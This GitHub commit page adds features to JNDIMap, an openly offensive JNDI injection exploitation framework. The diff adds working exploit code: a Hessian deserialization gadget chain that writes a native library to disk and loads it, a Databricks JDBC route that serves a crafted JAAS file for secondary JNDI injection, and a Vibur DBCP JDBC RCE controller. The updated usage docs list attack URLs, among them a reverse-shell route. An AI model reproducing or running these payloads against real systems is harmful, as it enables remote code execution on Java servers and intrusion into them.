Skip to content

Commit 7ba4d25

Browse files
committed
feat: 支持 Vibur DBCP + Databricks + Hessian RCE
1 parent 388e2a5 commit 7ba4d25

File tree

10 files changed

+234
-5
lines changed

10 files changed

+234
-5
lines changed

README.en.md

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -42,8 +42,9 @@ ldap://10.0.0.1:1389/Basic/ReverseShell/10.0.0.1/1337
4242
- MemShell injection (based on [MemShellParty](https://github.com/ReaJason/MemShellParty))
4343
- High version JDK Bypass
4444
- BeanFactory Bypass (Tomcat/Groovy/XStream, etc.)
45-
- JDBC RCE (MySQL/PostgreSQL/H2/Derby)
45+
- JDBC RCE (MySQL/PostgreSQL/H2/Derby, etc.)
4646
- Tomcat Blind XXE
47+
- Hessian RCE
4748
- LDAP Deserialization (including common gadgets)
4849
- Customize JNDI payload based on Nashorn JS engine
4950
- LDAP trustSerialData Bypass
@@ -76,7 +77,9 @@ ldap://10.0.0.1:1389/Basic/ReverseShell/10.0.0.1/1337
7677
- [Apache Derby](USAGE.en.md#derby)
7778
- [Derby SQL RCE](USAGE.en.md#derby-sql-rce)
7879
- [Derby Master-Slave Replication Deserialization RCE](USAGE.en.md#derby-master-slave-replication-deserialization-rce)
80+
- [Databricks](USAGE.en.md#databricks)
7981
- [Tomcat Blind XXE](USAGE.en.md#tomcat-blind-xxe)
82+
- [Hessian RCE](USAGE.en.md#hessian-rce)
8083
- [LDAP Deserialization](USAGE.en.md#ldap-deserialization)
8184
- [Custom Data Deserialization](USAGE.en.md#custom-data-deserialization)
8285
- [CommonsCollections](USAGE.en.md#commonscollections)

README.md

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -42,8 +42,9 @@ ldap://10.0.0.1:1389/Basic/ReverseShell/10.0.0.1/1337
4242
- 内存马注入 (基于 [MemShellParty](https://github.com/ReaJason/MemShellParty))
4343
- 高版本 JDK 绕过
4444
- BeanFactory 绕过 (Tomcat/Groovy/XStream, etc.)
45-
- JDBC RCE (MySQL/PostgreSQL/H2/Derby)
45+
- JDBC RCE (MySQL/PostgreSQL/H2/Derby, etc.)
4646
- Tomcat Blind XXE
47+
- Hessian RCE
4748
- LDAP 反序列化 (包含常用 Gadget)
4849
- Nashorn JS 自定义 JNDI Payload
4950
- LDAP trustSerialData 绕过
@@ -76,7 +77,9 @@ ldap://10.0.0.1:1389/Basic/ReverseShell/10.0.0.1/1337
7677
- [Apache Derby](USAGE.md#derby)
7778
- [Derby SQL RCE](USAGE.md#derby-sql-rce)
7879
- [Derby 主从复制反序列化 RCE](USAGE.md#derby-主从复制反序列化-rce)
80+
- [Databricks](USAGE.md#databricks)
7981
- [Tomcat Blind XXE](USAGE.md#tomcat-blind-xxe)
82+
- [Hessian RCE](USAGE.md#hessian-rce)
8083
- [LDAP Deserialization](USAGE.md#ldap-deserialization)
8184
- [自定义数据反序列化](USAGE.md#自定义数据反序列化)
8285
- [CommonsCollections](USAGE.md#commonscollections)

USAGE.en.md

Lines changed: 28 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -198,7 +198,7 @@ Use XStream deserialization to achieve RCE (version <= 1.4.15)
198198
The deserialization part uses UIDefaults + SwingLazyValue to trigger the following gadgets in sequence:
199199

200200
- Arbitrary file write: `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename`
201-
- XSLT Loading: `com.sun.org.apache.xalan.internal.xslt.Process._main`
201+
- XSLT loading: `com.sun.org.apache.xalan.internal.xslt.Process._main`
202202

203203
The XSLT payload uses Spring's reflection library to call defineClass, so it requires a Spring environment
204204

@@ -294,6 +294,7 @@ Support JDBC RCE for the following database connection pools
294294
- Tomcat JDBC
295295
- Alibaba Druid
296296
- HikariCP
297+
- Vibur DBCP
297298

298299
Replace the `Factory` in the URL with one of the following:
299300

@@ -304,6 +305,7 @@ Replace the `Factory` in the URL with one of the following:
304305
- TomcatJDBC
305306
- Druid
306307
- HikariCP
308+
- Vibur
307309

308310
Because Alibaba Druid's DruidDataSourceFactory doesn't support the breakAfterAcquireFailure and connectionErrorRetryAttempts parameters, by default, if the JDBC connection fails, an infinite retry cycle will occur in the newly created thread. This can cause the console to continuously output error messages and lead to log explosion and other problems. Using this feature is not recommended unless necessary. Reference: [https://github.com/alibaba/druid/issues/3772](https://github.com/alibaba/druid/issues/3772)*
309311

@@ -480,6 +482,15 @@ Usage: java -cp JNDIMap.jar map.jndi.server.DerbyServer [-p <port>] [-g <gadget>
480482

481483
`-h`: show usage
482484

485+
### Databricks
486+
487+
Secondary JNDI injection via JAAS configuration in Databricks JDBC driver (version <= 2.6.38)
488+
489+
```bash
490+
# JNDI injection
491+
ldap://127.0.0.1:1389/Factory/Databricks/JNDI/<url>
492+
```
493+
483494
## Tomcat Blind XXE
484495

485496
Use `org.apache.catalina.users.MemoryUserDatabaseFactory` to achieve Blind XXE
@@ -502,6 +513,22 @@ Due to JDK limitations, XXE can only read single-line files that do not contain
502513
[HTTP] Receive request: /V4J4ZH1P?content=helloworld
503514
```
504515

516+
## Hessian RCE
517+
518+
Exploiting Hessian deserialization RCE using `com.caucho.hessian.client.HessianProxyFactory`
519+
520+
The deserialization part uses UIDefaults + ProxyLazyValue to trigger the following gadgets in sequence:
521+
522+
- Arbitrary file write: `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename`
523+
- Dynamic library loading: `java.lang.System.load`
524+
525+
```bash
526+
# Hessian RCE
527+
ldap://127.0.0.1:1389/Hessian/<interface>/LoadLibrary/<path-to-native-library>
528+
```
529+
530+
Note that this route requires specifying the `interface` to set the interface class for the dynamic proxy. The server must have logic that calls any method of this interface after the JNDI lookup; otherwise, the deserialization will not be triggered
531+
505532
## LDAP Deserialization
506533

507534
Supports Java deserialization via LDAP and LDAP protocols (RMI protocol is not supported)

USAGE.md

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -294,6 +294,7 @@ gcc -shared -fPIC exp.c -o exp.so
294294
- Tomcat JDBC
295295
- Alibaba Druid
296296
- HikariCP
297+
- Vibur DBCP
297298

298299
需要将 URL 中的 `Factory` 替换为如下内容之一
299300

@@ -304,6 +305,7 @@ gcc -shared -fPIC exp.c -o exp.so
304305
- TomcatJDBC
305306
- Druid
306307
- HikariCP
308+
- Vibur
307309

308310
*因为 Alibaba Druid 的 DruidDataSourceFactory 并不支持配置 breakAfterAcquireFailure 和 connectionErrorRetryAttempts 参数, 在默认情况下, 如果 JDBC 连接失败, 则会在创建的新线程中陷入无限重试, 这可能会使得控制台死循环不断输出报错信息, 导致日志爆炸等问题, 非必要条件不建议使用. 参考: [https://github.com/alibaba/druid/issues/3772](https://github.com/alibaba/druid/issues/3772)*
309311

@@ -480,6 +482,15 @@ Usage: java -cp JNDIMap.jar map.jndi.server.DerbyServer [-p <port>] [-g <gadget>
480482

481483
`-h`: 显示 Usage 信息
482484

485+
### Databricks
486+
487+
通过 Databricks JDBC 驱动的 JAAS 配置实现二次 JNDI 注入 (版本 <= 2.6.38)
488+
489+
```bash
490+
# JNDI 注入
491+
ldap://127.0.0.1:1389/Factory/Databricks/JNDI/<url>
492+
```
493+
483494
## Tomcat Blind XXE
484495

485496
利用 `org.apache.catalina.users.MemoryUserDatabaseFactory` 实现无回显 XXE
@@ -502,6 +513,22 @@ ldap://127.0.0.1:1389/TomcatXXE/<base64-url-encoded-path>
502513
[HTTP] Receive request: /V4J4ZH1P?content=helloworld
503514
```
504515

516+
## Hessian RCE
517+
518+
利用 `com.caucho.hessian.client.HessianProxyFactory` 实现 Hessian 反序列化 RCE
519+
520+
反序列化部分使用 UIDefaults + ProxyLazyValue 依次触发下列 Gadget:
521+
522+
- 任意文件写: `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename`
523+
- 动态库加载: `java.lang.System.load`
524+
525+
```bash
526+
# Hessian RCE
527+
ldap://127.0.0.1:1389/Hessian/<interface>/LoadLibrary/<path-to-native-library>
528+
```
529+
530+
注意该路由需要指定 `interface` 以设置动态代理的接口类, 服务端在 JNDI 查询之后必须存在调用该接口任意方法的逻辑, 否则不会触发反序列化
531+
505532
## LDAP Deserialization
506533

507534
通过 LDAP、LDAPS 协议触发 Java 反序列化, 不支持 RMI 协议

pom.xml

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44
<modelVersion>4.0.0</modelVersion>
55
<groupId>io.exp10it</groupId>
66
<artifactId>JNDIMap</artifactId>
7-
<version>0.0.4</version>
7+
<version>0.0.5</version>
88
<name>JNDIMap</name>
99
<description>JNDIMap is a powerful JNDI injection exploitation framework that supports RMI, LDAP and LDAPS protocols, including various bypass methods for high-version JDK restrictions</description>
1010
<properties>
@@ -82,6 +82,11 @@
8282
<artifactId>fastjson2</artifactId>
8383
<version>2.0.26</version>
8484
</dependency>
85+
<dependency>
86+
<groupId>com.caucho</groupId>
87+
<artifactId>hessian</artifactId>
88+
<version>4.0.66</version>
89+
</dependency>
8590
<dependency>
8691
<groupId>io.github.reajason</groupId>
8792
<artifactId>generator</artifactId>

src/main/java/map/jndi/Config.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55

66
@Command(
77
name = "JNDIMap.jar",
8-
version = "0.0.3",
8+
version = "0.0.5",
99
description = "JNDI injection exploitation framework",
1010
mixinStandardHelpOptions = true,
1111
sortOptions = false,

src/main/java/map/jndi/controller/DatabaseController.java

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -459,4 +459,28 @@ public Properties derbyReverseShell(String database, String host, String port) {
459459

460460
return props;
461461
}
462+
463+
@JNDIMapping("/Databricks/JNDI/{url}")
464+
public Properties databricksJNDI(String url) {
465+
System.out.println("[Databricks] [JNDI] URL: " + url);
466+
467+
String jaasName = MiscUtil.getRandStr(8) + ".conf";
468+
String jaasContent = "Client {\n" +
469+
" com.sun.security.auth.module.JndiLoginModule required\n" +
470+
" user.provider.url=\"" + url + "\"\n" +
471+
" group.provider.url=\"test\"\n" +
472+
" useFirstPass=true\n" +
473+
" serviceName=\"test\"\n" +
474+
" debug=true;\n" +
475+
"};";
476+
WebServer.getInstance().serveFile("/" + jaasName, jaasContent.getBytes());
477+
478+
String jdbcUrl = "jdbc:databricks://127.0.0.1:443;AuthMech=1;principal=test;KrbAuthType=1;httpPath=/;KrbHostFQDN=test;KrbServiceName=test;krbJAASFile=" + Main.config.codebase + jaasName;
479+
480+
Properties props = new Properties();
481+
props.setProperty("driver", "com.databricks.client.jdbc.Driver");
482+
props.setProperty("url", jdbcUrl);
483+
484+
return props;
485+
}
462486
}
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
package map.jndi.controller;
2+
3+
import map.jndi.Main;
4+
import map.jndi.annotation.JNDIController;
5+
import map.jndi.annotation.JNDIMapping;
6+
import map.jndi.gadget.HessianGadgets;
7+
import map.jndi.server.WebServer;
8+
import map.jndi.util.MiscUtil;
9+
10+
import javax.naming.Reference;
11+
import javax.naming.StringRefAddr;
12+
import java.nio.file.Files;
13+
import java.nio.file.Paths;
14+
import java.util.Properties;
15+
16+
@JNDIController
17+
@JNDIMapping("/Hessian/{interface}")
18+
public class HessianController implements Controller {
19+
public Object process(Properties props) throws Exception {
20+
String interfaceName = props.getProperty("interface");
21+
String path = props.getProperty("path");
22+
23+
System.out.println("[Hessian] Interface: " + interfaceName);
24+
25+
String fileName = "/tmp/" + MiscUtil.getRandStr(8) + ".log";
26+
byte[] content = Files.readAllBytes(Paths.get(path));
27+
28+
byte[] header = "HabF".getBytes();
29+
byte[] body = HessianGadgets.loadLibrary(fileName, content);
30+
31+
byte[] payload = new byte[header.length + body.length];
32+
System.arraycopy(header, 0, payload, 0, header.length);
33+
System.arraycopy(body, 0, payload, header.length, body.length);
34+
35+
String route = MiscUtil.getRandStr(8);
36+
WebServer.getInstance().serveFile("/" + route, payload);
37+
38+
Reference ref = new Reference("test", "com.caucho.hessian.client.HessianProxyFactory", null);
39+
ref.add(new StringRefAddr("type", interfaceName));
40+
ref.add(new StringRefAddr("url", Main.config.codebase + route));
41+
42+
return ref;
43+
}
44+
45+
@JNDIMapping("/LoadLibrary/{path}")
46+
public Properties loadLibrary(String interfaceName, String path) {
47+
System.out.println("[Hessian] LoadLibrary Path: " + path);
48+
49+
Properties props = new Properties();
50+
props.setProperty("interface", interfaceName);
51+
props.setProperty("path", path);
52+
53+
return props;
54+
}
55+
}
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
package map.jndi.controller.jdbc;
2+
3+
import map.jndi.annotation.JNDIController;
4+
import map.jndi.annotation.JNDIMapping;
5+
6+
import javax.naming.Reference;
7+
import javax.naming.StringRefAddr;
8+
import java.util.Properties;
9+
10+
@JNDIController
11+
@JNDIMapping("/Vibur")
12+
public class ViburController extends SingleCommandController {
13+
public Object process(Properties props) {
14+
System.out.println("[Reference] Factory: Vibur");
15+
16+
Reference ref = new Reference("javax.sql.DataSource", "org.vibur.dbcp.ViburDBCPObjectFactory", null);
17+
ref.add(new StringRefAddr("driverClassName", props.getProperty("driver")));
18+
ref.add(new StringRefAddr("jdbcUrl", props.getProperty("url")));
19+
ref.add(new StringRefAddr("username", "test"));
20+
ref.add(new StringRefAddr("password", "test"));
21+
22+
if (props.getProperty("sql") != null) {
23+
ref.add(new StringRefAddr("initSQL", props.getProperty("sql")));
24+
}
25+
26+
return ref;
27+
}
28+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
package map.jndi.gadget;
2+
3+
import com.caucho.hessian.io.Hessian2Output;
4+
import map.jndi.util.ReflectUtil;
5+
6+
import javax.swing.*;
7+
import java.io.ByteArrayOutputStream;
8+
import java.lang.reflect.Method;
9+
import java.util.HashMap;
10+
11+
public class HessianGadgets {
12+
public static byte[] loadLibrary(String fileName, byte[] content) throws Exception {
13+
UIDefaults.ProxyLazyValue proxyLazyValue1 = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{fileName, content});
14+
UIDefaults.ProxyLazyValue proxyLazyValue2 = new UIDefaults.ProxyLazyValue("java.lang.System", "load", new Object[]{fileName});
15+
16+
ReflectUtil.setFieldValue(proxyLazyValue1, "acc", null);
17+
ReflectUtil.setFieldValue(proxyLazyValue2, "acc", null);
18+
19+
UIDefaults u1 = new UIDefaults();
20+
UIDefaults u2 = new UIDefaults();
21+
u1.put("aaa", proxyLazyValue1);
22+
u2.put("aaa", proxyLazyValue1);
23+
24+
HashMap map1 = makeMap(u1, u2);
25+
26+
UIDefaults u3 = new UIDefaults();
27+
UIDefaults u4 = new UIDefaults();
28+
u3.put("bbb", proxyLazyValue2);
29+
u4.put("bbb", proxyLazyValue2);
30+
31+
HashMap map2 = makeMap(u3, u4);
32+
33+
HashMap map = new HashMap();
34+
map.put(1, map1);
35+
map.put(2, map2);
36+
37+
return serialize2(map);
38+
}
39+
40+
private static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
41+
HashMap<Object, Object> map = new HashMap<>();
42+
Method putValMethod = HashMap.class.getDeclaredMethod("putVal", int.class, Object.class, Object.class, boolean.class, boolean.class);
43+
putValMethod.setAccessible(true);
44+
putValMethod.invoke(map, 0, v1, 123, false, true);
45+
putValMethod.invoke(map, 1, v2, 123, false, true);
46+
return map;
47+
}
48+
49+
private static byte[] serialize2(Object o) throws Exception {
50+
ByteArrayOutputStream bao = new ByteArrayOutputStream();
51+
Hessian2Output output = new Hessian2Output(bao);
52+
output.getSerializerFactory().setAllowNonSerializable(true);
53+
output.writeObject(o);
54+
output.flush();
55+
return bao.toByteArray();
56+
}
57+
}

0 commit comments

Comments
 (0)